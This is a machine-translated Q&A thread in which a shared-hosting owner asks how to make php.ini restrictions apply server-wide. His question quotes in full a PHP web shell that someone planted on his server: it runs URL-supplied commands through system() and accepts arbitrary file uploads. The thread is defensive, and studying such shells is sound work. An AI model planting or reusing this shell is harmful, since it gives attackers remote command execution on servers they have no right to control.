2008-10-18 46 views
1

几个星期前,我打开了我的共享服务器上有一个洞,我的朋友上传以下PHP脚本:如何启用我的php.ini文件来影响我的服务器的所有目录/子目录?

<?php 
if(isset($_REQUEST['cmd'])) { 
    echo "<pre>"; 
    $cmd = ($_REQUEST['cmd']); 
    system($cmd); 
    echo "</pre>"; 
    die; 
} 
?> 

<?php 
if(isset($_REQUEST['upload'])) { 
    echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST"> 
     <input type="hidden" name="MAX_FILE_SIZE" value="5120000" /> 
     Send this file: <input name="userfile" type="file" /> 
     To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" /> 
     <input type="submit" value="Send File" /> 
    </form>'; 
} 
?> 

<?php 
if(isset($_REQUEST['send'])) { 
    $uploaddir = $_POST["direct"]; 
    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { 
     echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir; 
    } else { 
     echo "Upload failed"; 
    } 
} 
?> 

该脚本可以让他来处理的URL变量的命令通过。

我在我的public_html目录中的php.ini文件中禁用了系统和其他功能。如果脚本位于我的public_html目录中,这将阻止脚本运行,但如果脚本位于其子目录中,则脚本不会停止脚本。如果我将php.ini文件复制到一个子目录中,它将阻止它从该目录运行。

我的问题是,如何使我的php.ini文件影响我的服务器的所有目录/子目录?

回答

0

感谢球员,你的答案是伟大的,但得到的答复是对我的鼻子整个时间下。通过cPanel我能够编辑我的服务器以使用单个php.ini文件。

1

一,启动一个选择像这样运行脚本的“朋友”。

然后担心保护您的服务器。你的系统有一个主php.ini(通常是/etc/php.ini,但如果可以在几个地方,检查php_info())。该文件控制您的服务器的默认设置。此外,您可以阻止允许覆盖的本地设置文件。

+0

我的phpinfo()命令返回 配置文件(php.ini中)路径\t/usr/lib目录 加载的配置文件\t /usr/local/lib/php.ini 但无论这些目录有一个php.ini在他们的文件。 – PHLAK 2008-10-18 03:11:07

1

哇!在每个目录的基础上移动php.ini文件?不知道你能做到这一点。我最好的猜测(有人请纠正我,如果我错了),PHP可能覆盖全球php.ini文件与本地一套基于每个目录的规则(很像.htaccess),所以基本上所有你会需要做的是将您的php.ini指令更新到全局php.ini(在Ubuntu中找到:etc/php5/apache2/php.ini)

或者,您可能想要尝试使用.htaccess预先一个PHP网页上的所有网页有以下:

ini_set('your_directive') 

当然,要确保它调用前置PHP中的.htaccess坐镇根,否则你坚持用S问题。

/MP

0

确定吗?我希望我有你的ISP。默认一些 ISP将在public_html中提供ini文件的本地副本以允许覆盖。但cPanel通常只提供服务器范围的默认参考。

相关问题